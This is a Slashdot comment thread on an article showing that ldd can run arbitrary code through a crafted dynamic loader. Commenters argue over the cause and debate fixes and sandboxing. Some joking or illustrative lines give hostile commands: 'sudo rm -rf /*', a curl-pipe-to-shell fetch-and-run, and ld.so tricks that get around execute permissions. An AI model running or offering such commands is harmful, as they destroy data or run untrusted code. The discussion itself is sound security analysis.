Arbitrary Code Execution With "ldd" 184
pkrumins writes "The ldd utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong! It turns out that running ldd on an executable can result in executing arbitrary code. This article details how such executable can be constructed and comes up with a social engineering scenario that may lead to system compromise. I researched this subject thoroughly and found that it's almost completely undocumented."
ldd pwned (Score:2, Funny)
Re:ldd pwned (Score:5, Funny)
Uh, hello? Tech support?
You want me to do what with ldd?
Are you the same guy that told me to rm *? That wasn't funny....
the bug is not in ldd (Score:4, Informative)
If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.
Re: (Score:3, Funny)
So our lesson here is... don't run any scripts we don't fully understand as root. Thanks Slashdot - I feel so informed today!
Re: (Score:2)
Re:the bug is not in ldd (Score:5, Insightful)
How many programs on your system do you *fully* understand? How certain are you about that? [bell-labs.com]
Re: (Score:3, Funny)
Re:the bug is not in ldd (Score:5, Funny)
The bug is not in the dynamic loader (Score:5, Insightful)
Actually, no. The bug is NOT in the dynamic loader. In particular, when the exploiting executable specifies a different dynamic loader in the binary interpreter field, then the system dynamic loader is not even involved.
RTFA again. The exploit involves using a different dynamic loader. The evil person has made a fake loader that does the evil deed. That's NOT a bug, since it does what he (the evil person) wanted.
The bug is ... at least partly ... in the /usr/bin/ldd script. The real source of the bug is in the thinking that every dynamic loader would do this and that no dynamic loader that failed to would ever be used. That's saying that the design of doing it this way is what is buggy.
There are some possible fixes. One fix is to make a program to replace /usr/bin/ldd that understand by itself how to parse and interpret all executables. That might be done best via a new flag on the dynamic linker or dynamic loader programs. This needs to work for all executable formats the system might need to work with. Another fix is to provide for a list of allowed (trusted) dynamic loaders that would be enforced most likely by the kernel. That list could be managed via a /proc entry that can only be written/appended to by root (and uses a built-in list prepared when the kernel was compiled, whenever that /proc entry list is empty).
Re: (Score:2)
Interesting idea. Something like that would best be managed by a kernel module, to allow for modifying it while the system is running via rmmod and insmod. Obviously, it would be safer to make it a statically compiled list inside the kernel itself, but I'm wary of recompiling kernels and forcing reboots just to install software. Linux uptimes would start to look a lot like Windows uptimes in that scenario.
Re:the bug is not in ldd (Score:4, Informative)
If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.
The bug is that ldd executes the dynamic loader, which is specified by the executable being inspected. So if the executable claims to use ~/bin/evil.so as a loader instead of the standard /lib/ld-linux.so, then ldd will execute ~/bin/evil.so.
Re:the bug is not in ldd (Score:5, Informative)
The bug is that ldd is trying to do the impossible: list dynamic dependencies for executables that it doesn't understand (more precisely: executables that don't use glibc and/or the standard linking mechanisms). The catch is that glibc's implementation offloads this task onto the dynamic linker, and whoever wrote ldd thought the rest of the world would be nice and follow ld-linux's environment variable convention with their dynamic loaders. And, of course, this completely violates the assumption that ldd treats its argument as data, and will not run code from it.
What ldd needs to do is realize that trying to be generic is futile, and either a) check for ld-linux and bail if otherwise, or b) become a real C app (using libbfd?) that can inspect the executable as data, which might gain it compatibility with other loaders if they follow the same ELF ABI for dependency specification. And under no circumstances actually call out to any untrusted code or libraries to do this.
The problem is the executable (Score:2)
Re: (Score:3, Informative)
Re: (Score:2)
Especially in this case! The poor sysadmin might be investigating this strange executable, and decides to run ldd against it to learn more about it. (Hopefully she doesn't do this as root.)
Re: (Score:2)
It's not a bug, it's a design flaw. ldd has always worked by executing the target file under certain circumstances; I'm sure this used to be better documented.
Re:ldd pwned (Score:5, Insightful)
It's the dynamic loader that knows how to interpret that executable format's list of libraries it depends on. What "ldd" does is just trigger the dynamic loader to output the libraries instead of run the program. The weakness is that an alternate dynamic loader might not do that and will just run the program anyway. Possible fixes include a new "ldd" that parses the executable itself instead of trying to get the dynamic loader to do it, or a means to restrict what dynamic loaders can be used (to just the ones that play well with "ldd").
Re: (Score:3, Interesting)
The easiest way is to just insist on using the system's ld.so and if it can't handle it, just say so. Next easiest is to just read through the ELF header.
Re: (Score:2)
I would have thought the easiest way is to only allow the loader to operate (at least in ldd mode) if it's suid-root. Since no one but root can do that, the loader must have been vetted by either root or by the distro (where, honestly, any number of back doors can already be put in anyway).
Re: (Score:2)
If the loader is suid root, then anyone can become root with /lib/ld*.so /bin/bash
Re: (Score:2)
Not if the loader is written to avoid it. Just because you're suid-root doesn't mean you can't drop privileges before doing anything useful, such as running something. Functions like setuid are your friend.
Re: (Score:2)
It just keeps getting more complicated that way! If you drop privileges in the loader, there can now be no suid-root programs anywhere. If you drop or don't drop based on argv, someone will play games with softlinks or exec.
Given all of that, doesn't it start to look a LOT easier and more certain to just hard code the path to ld.so or have ldd read the ELF headers?
Re: (Score:2)
The easiest think would be to not use ldd and use "readelf -d" instead
Re: (Score:2)
Readelf -d mostly does what is required, but doesn't do the work of actually resolving the dependencies. Usually that's good enough, but won't reveal a number of forehead slap moments where the library exists but ld.so.conf doesn't know it or where several variations exist but not the right one.
Re: (Score:2)
And that pretty much sums up all of my uses for ldd. There's only two things I regularly want to know from ldd -- is this program dynamically compiled, and which copy of those libraries is it grabbing (path-wise).
Quickly! (Score:2, Funny)
Fetch me my tinfoil hat!
Another WIN in WINdows (Score:5, Funny)
In Windows, we avoid this vulnerability by giving you absolutely no fricking clue what dependencies exist for any given DLL. Suck that Unix fanboys!
Re:Another WIN in WINdows (Score:5, Informative)
http://www.dependencywalker.com/ [dependencywalker.com]
Re:Another WIN in WINdows (Score:5, Informative)
Yup. I've used it. It is a very useful tool. Note that this is not something built into Windows.
Re: (Score:2)
Uum, then how does a DLL load its dependencies in the first place? Of course it's build it. There's just no UI delivered with it. I bet at MS, they have such a tool.
Re: (Score:3, Insightful)
Re:Another WIN in WINdows (Score:5, Insightful)
Also note that Dependency Walker itself might as well be arbitrary code since I can't read its source code.
I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?
Re: (Score:2)
Re:Another WIN in WINdows (Score:4, Insightful)
I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?
The good that it has done is that the author of this article DID have access to the source, analyzed it, found a vulnerability and now you, me or anyone else can (and no doubt will) patch it. The point of the source being available isn't that you personally need to look through every line of code that your system executes, but rather that it is made available to anyone to analyze for security, efficiency, correctness, etc. instead of being locked up in a vault somewhere.
ldd stuff (Score:3, Interesting)
I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?
The good that it has done is that the author of this article DID have access to the source, analyzed it, found a vulnerability and now you, me or anyone else can (and no doubt will) patch it.
Right, but this trait of ldd has been around for ages. From some of the accounts around here it seems like it was actually a reasonably well-known problem. Those who wanted to exploit this issue for fun or profit have most likely been happily doing so, while those under-educated like myself who weren't aware of it could have been vulnerable to it.
With the way this thing works I'm not sure it will be fixed, at least not any time soon. "ldd" is relying upon the executable itself to report its own dependenc
ldd stuff (Score:2)
My ldd is not a script but an executable under SUSE. It seems to have slightly different behavior than described in the article. I did not completely replicate the "attack" part of this, but I have doubts as to current viability on this.
TFA said that BSD also had a compiled C program as its "ldd", but I don't think they actually tested it...
My Debian machine has a script as /usr/bin/ldd, and according to the man page, "very old a.out executables" predating the addition of ldd support to a.out in the compiler would result in the executable being run with no arguments (more or less what the article describes...) Of course, this isn't just limited to a.out executables - that bug note is just one symptom of the problem described in the articl
Re: (Score:2)
And the odds of one out of millions will be the one is quite high (Unless only one person uses the app)
Unless the app in question is ldd, it's a special case.. oh.. crap, it's not.
However one is still heads and shoulders higher than the number of users of the windows app, even if there are more than a million using it.
The problem is, even in Linux, you are 1000000x more likely to have run into the problem many times before anyone decides to scrutinize the source and discover the problem.
In windows it would get black listed in AV programs, in Linux, word of mouth would have to work. I really, really hope nobody believes that available source code means bad behavior has a reasonable chance of being detected before being exploited. That is hogwa
Re: (Score:2)
http://www.dependencywalker.com/ [dependencywalker.com]
if I make an obvious joke like the GP did, will you give me a serious response, too?
you could do that with this post, for example.
Answering to this post with yes or no would be an oxymoron.
Re: (Score:2, Insightful)
depends.exe. Doesn't execute arbitrary code either.
ldd is a hack and always has been. It's really just a special "run mode".
Re:Another WIN in WINdows (Score:5, Informative)
Re: (Score:2)
Since ldd ships with glibc-common on my system, I'm quite certain its a lot more common than the platform SDK is on Windows computers.
Re: (Score:2)
Which is a free download from Microsoft:
http://msdn.microsoft.com/en-us/windows/bb980924.aspx?wt.svl=more_downloads [microsoft.com]
Don't worry... (Score:3, Funny)
...I'm sure someone will find some other vulnerability.
Re: (Score:2)
Hi,
ILDASM and .NET reflection are not low-level profiling. Anything built on the .NET framework can hardly be called low level.
Re: (Score:2)
http://singularity.codeplex.com/ [codeplex.com] :D
Thorough research (Score:5, Insightful)
'I researched this subject thoroughly and found that it's almost completely undocumented'.
Did the thorough research include a Google search for 'ldd security' [google.co.uk]?
My thorough (3 minute research) turned up this tidbit from TLDP [tldp.org]:
Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute.
Re: (Score:2)
Re: (Score:3, Insightful)
Re: (Score:2)
It either is documented or it isn't. And ldd IS. Documentation isn't an expression of quantity.
Maybe that upsets your sense of horror, but considering that the problem (if it is a problem) is only present if you choose to run that code on untrusted executables, and the *docume
Re: (Score:3, Informative)
Re:Thorough research (Score:5, Interesting)
One wonders why no one thought to add that to the manpage.
Re: (Score:3, Interesting)
Most programs that run other programs actually run them in an obvious fashion. The fact that ldd doesn't seem to run the program because it feeds the program an environment variable that causes the program to print out some information and exit leads people to make a bad assumption about how ldd works. In my opinion, this is a really bad design flaw in ldd and should've been fixed years ago.
I know it violated my assumptions about what ldd was doing.
Re: (Score:2)
Re: (Score:2)
Yes. Programs should encourage people to make correct assumptions, not incorrect ones. Programs that lead people to make incorrect ones have design flaws. Such design flaws have killed people in the past.
User can choose to run arbitrary code... (Score:2, Insightful)
Damn,
Asking the user to install dancing_bunnies was too easy for this guy, he wants to ask the user to ldd dancing_bunnies to activate the malware.
Could as well ask the user to ACTIVATE_MALWARE=1 dancing_bunnies or LD_PRELOAD=dancing_bunnies.so your_app for letting the user running the malware from any your_app he likes.
Re:User can choose to run arbitrary code... (Score:4, Insightful)
It's not quite the same thing. Since the binary you're looking at has to have this exploit in it, your example might as well just run `dancing_bunnies` in the first place. The reason this is an issue is because it will run while doing `ldd dancing_bunnies` where you would expect ldd not to run any arbitrary code.
Cool and so what (Score:4, Insightful)
On one hand that is a cool little hack. But on the other hand, so what? How many cases occur where even with social engineering will someone run ldd but not run the executable? E.g. In the example most sysadmins would run the program itself anyway
Re:Cool and so what (Score:4, Insightful)
times like this, I just want to be able to say:
sandbox $whatever_command
and have it run in a completely safe environment.
We have usermode linux, how hard would it be to have such a thing self-contained and operating in a read-from-real-filesystem,write-to-virtual-filesystem,--disable-all,--enable-fake-internet, manner?
Or does such a thing exist? Security for examining someone else's arbitrary commands doesn't seem like it should be an unsolved problem
Re:Cool and so what (Score:5, Funny)
times like this, I just want to be able to say:
sandbox $whatever_command
and have it run in a completely safe environment.
[...] Or does such a thing exist?
A virtual machine you mean?
Re: (Score:2)
"In other words, he wants to take any program installed on his real machine and say "run this in a virtual environment cloned from my existing real environment"."
It seems to me this is exactly the sort of capability that should be a basic fundamental thing that an OS does. Instead of being a big ball of soup that lets pretty much any program write anywhere, and then tries to impose security reactively over the top. It should start out with '1. Every process can be a full machine or system/network equivalent
Re: (Score:2)
For bonus points, it could note changes made to the filesystem and when possible allow you to merge these changes (the sort of thing lvm snapshoting/cow allows). Also instead of just --enable-fake-internet prompting users and logging data that is exchanged (possibly doing the same for reading files).
Re: (Score:3, Interesting)
SELinux has this capability: http://danwalsh.livejournal.com/28545.html [livejournal.com]
Re: (Score:2)
Not really. What you really want with a sandbox is for a program's every access to system resources outside of a small predefined set to be vetted by the user. SELinux can't really do that.
But, the blog article does give you a really nice way to quickly create an environment for a program to run in that has access to almost no system resources, and while that's not all you want, it is still pretty useful subset.
Re: (Score:2)
Re: (Score:3, Interesting)
I don't know about other unix-alikes, but on Linux, one can use ptrace(2) to trap and block (and modify the results of) system calls that an executable makes.
This way we could, for example, block any attempt to open files for writing, block attempts to access the network, and selectively allow file writes etc. This can be done via a white-listing mechanism.
I stumbled upon this relatively less known kernel API a few years ago while trying to figure out how to ... essentially run arbitrary code submitted by a
Re: (Score:2)
Actually, this is one scenario:
And the point is... (Score:2, Informative)
So, firstly, don't run ldd as root. (I use sudo, so no issues there.)
Secondly, don't use ldd on untrusted binaries. If you don't trust it why are you trying to run it? I suppose this is useful to see if the attacker is being really obvious and dynamically linking to net-code in a program that shouldn't need net, but other than that I don't see where this is going to be a serious problem, except in the case where you have a direct line to your sysadmin, but if that's the case there are probably a dozen diffe
Re: (Score:3, Insightful)
I think (hope) that he meant, "I use sudo for things that need root, so I don't wind up running things that don't (like ldd) as root."
Not running as root doesn't mean it's safe (Score:3, Insightful)
But how does that help "Mr/Ms Desktop User"?
Most of Desktop User's "crown jewels" would be in the home directory, and even if it's not it would be fully accessible by the arbitrary code and subsequently installed malware since it would be running using "Desktop User"'s account.
The arbitrary code executed does not need root to turn the machine into a zombie and then execute other code, send spam, DDoS stuff, etc.
This fixation on "not getti
Re: (Score:2)
I don't understand. I typically have an account that is not a sudoer that I use for everything. Using allowusers in the sshd_config that is the only account that can ssh in. Then if I need to do something as root, I do 'login admin' (or slight variations depending on unix flavor), where admin is a sudoer and then I run what I need under sudo. Is that what you mean by two password wall? What is the security risk here? I know that there have been vulns with regards to sudo in the past, is that what you are re
Nasty (Score:5, Interesting)
This is really nasty.
Even running the binary as nobody may get you into trouble if you are running under X because the rogue code can talk to your X server.
And of course the rogue code could print out its own prompt and fool you into thinking that you are typing at the shell. In this case you get owned when you type su and subsequently type your root password into the rogue code. You'd have to carefully inspect your running processes to not get fooled by this trick.
Maybe the answer is for ldd to use a sandbox.
Specific to Linux? (Score:5, Insightful)
It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.
Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.
Re: (Score:2)
It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.
Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.
Notify the vendor/coder first? I use Linux on my desktop computer and I really don't feel threatened by this. At all. They can 0-day all they like.
Now, if they find a remotely exploitable vulnerability that can be used to run code or gain a root shell without my active assistance, and that didn't first require me to receive and then choose to work with an untrusted binary, well then I would understand your concern.
Re: (Score:3, Informative)
From what I can tell, you can't really fix this as it is what the program does (though I could be wrong). It runs the program to find out what libraries it requires. That's why there's a warning that tells you not to run this on an untrusted program (linked to in a post above). It's sort of like saying sudo is a vulnerability because it lets you run untrusted program code.
Re: (Score:2)
No way should ldd be so promiscuous, executing arbitrary dynamic loaders like that. It shouldn't execute anything that isn't in the PATH. For root, that would limit it to executables that aren't user-writable which is the essential problem here.
Re: (Score:3, Informative)
The author mentioned that on BSD the `ldd' app is a C app that does basically what the Linux shell script `ldd' does. The Solaris `ldd' is also an app, so I can't verify that it's the same as on BSD, but setting LD_TRACE_LOADED_OBJECTS=1 before running an application does cause ldd like output, so I would suspect the same rules apply under Solaris as described in the article.
Re: (Score:2, Informative)
on NetBSD 4.0_STABLE:
> LD_TRACE_LOADED_OBJECTS=1 ls
shows normal ls output
> file `which ldd` /usr/bin/ldd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for NetBSD 4.0, dynamically linked (uses shared libs), not stripped
I've looked through the NetBSD ldd source and it does seem to parse the elf imports table etc rather then running the program.
Re: (Score:3, Insightful)
As I understand it, it's not really a bug but a security issue that many are unaware of. It's similar to how many email worms send out .scr files (screensaver) because many people know not to run unknown .exe files.
New Lingo (Score:5, Insightful)
I researched this subject thoroughly and found that it's almost completely undocumented.'
Is this the new way to say "I checked it out and it's legit!"
Remember to Exit Stage Left (Score:5, Funny)
I researched this subject thoroughly and found that it's almost completely undocumented.
Completely undocumented... <CARUSO NAME="david" STYLE="csi/miami" SHADES="true"> ...until now. </CARUSO>
YEAAAAAAAAAH!
I find his background info interesting... (Score:2)
...and here it is [muhammadsaleem.com].
Other dirty tricks (Score:5, Interesting)
If an ELF binary doesn't have execute permissions and you can't just set them, /lib/ld*.so will run it anyway.
Some security hacks work by making the exec syscall return an error. A sufficiently clever binary can just map ld.so and the app into itself and effectively execute anyway. Of course this won't honor setuid but it also won't remove capabilities that have been marked not permitted for the target binary.
Re: (Score:2)
In some security proposals it has been suggested that users not ever be able to set those permissions anywhere. They didn't get far because that doesn't actually stop users from executing anything.
Risk assessment (Score:2)
Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.
This would be an interesting to include in a released program. The rate of infection will be low, but those infected are likely to be admins and power users. It would also provide some deniability. "I didn't change the loader! What does that even mean?"
Re: (Score:2)
Good point.
Re: (Score:2)
Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.
It all depends on how gullible your sysadmin is...
Obviously a sysadmin should be wary of following anybody's suggestions on what to do with the superuser account... But I think it requires less of a sharp mind to recognize "please run this program" as a threat as opposed to "please tell me what's gone wrong with this program"...
Deniability doesn't count for much - if the sysadmin thinks you're trying to sucker them, they could come up with a way to find out what that executable does (like run it through "s
QD? (Score:2)
1985 called, they want their exploit back (Score:5, Insightful)
http://web.archive.org/web/20050211210119/http://reverse.lostrealm.com/protect/ldd.html [archive.org]
Re: (Score:2)
This seems to be from 2003.
But it still should have been fixed.
Re: (Score:2)
http://web.archive.org/web/20050211210119/http://reverse.lostrealm.com/protect/ldd.html [archive.org]
1985? The message you linked was from 2005...
Either way, though - whether this has been known for four years or twenty-four years, it'd be nice if they'd fix it...
Re: (Score:2)
Doc Brown called, he wants his DeLorean back. Forward. Returned to its original timeline.
Rename it! (Score:4, Funny)
OMG! VULNER4BILITY! (Score:2)
But here are some even simpler social engineering ideas:
* tell people to replace /bin/sh with a binary you send them in the mail
* tell people to type sudo rm -rf /*
* tell people to type "curl http://yoursite.com/hack [yoursite.com] | /bin/sh"
Deserves a warning in the man-page... (Score:2)
... but not much else. The potential code-execution is a surprising behavior, that nonetheless is not that critical.
Re: (Score:2)
So what? (Score:3, Insightful)
In other news, "nice" is considered dangerous because when you run nice with the command line parameter of a program, it executes the program! And crond. And at. And sudo. And bash. And a million script files.
This isn't shocking, it's stupid. Possibly slightly unexpected if you're a new admin, that's about it.
Documented in ldd(1) and Program Library HOWTO (Score:4, Informative)
When you've run out of 0day remote exploits.. (Score:2)
This is the kind of stuff you get.
Any exploit that requires a local shell is 'Zzzzzzz'.
And something as contrived as getting root by social engineering someone to use ldd.. Is that so much easier than just kidnapping the system admins family and exchanging them for the root password? C'mon. Work for it.
I'm not some fancy linux programmer (Score:2)
Re: (Score:2)
cp /bin/bash /tmp
chmod -x /tmp/bash /lib/ld-linux.so.2 /tmp/bash
runs /tmp/bash anyway
Also work with shell scripts. Where your.sh is some bash shell script of your choice.
cp your.sh /tmp/your.sh
chmod -x /tmp/your.sh
/bin/bash /tmp/your.sh
The shell script executes, the horror!